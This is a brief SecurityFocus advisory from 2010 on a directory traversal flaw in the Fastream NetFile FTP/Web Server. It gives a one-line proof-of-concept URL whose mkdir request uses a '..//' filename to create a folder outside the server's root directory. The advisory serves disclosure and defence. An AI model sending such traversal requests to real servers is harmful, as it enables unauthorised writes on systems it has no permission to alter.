Fastream NetFile FTP/Web Server Directory Traversal Vulnerability

No exploit is required.

The following proof of concept is available:
http://www.example.com?command=mkdir&filename=..//FOLDER_IS_OUTSIDE_THE_ROOT_DIRECTORY


 

Privacy Statement
Copyright 2010, SecurityFocus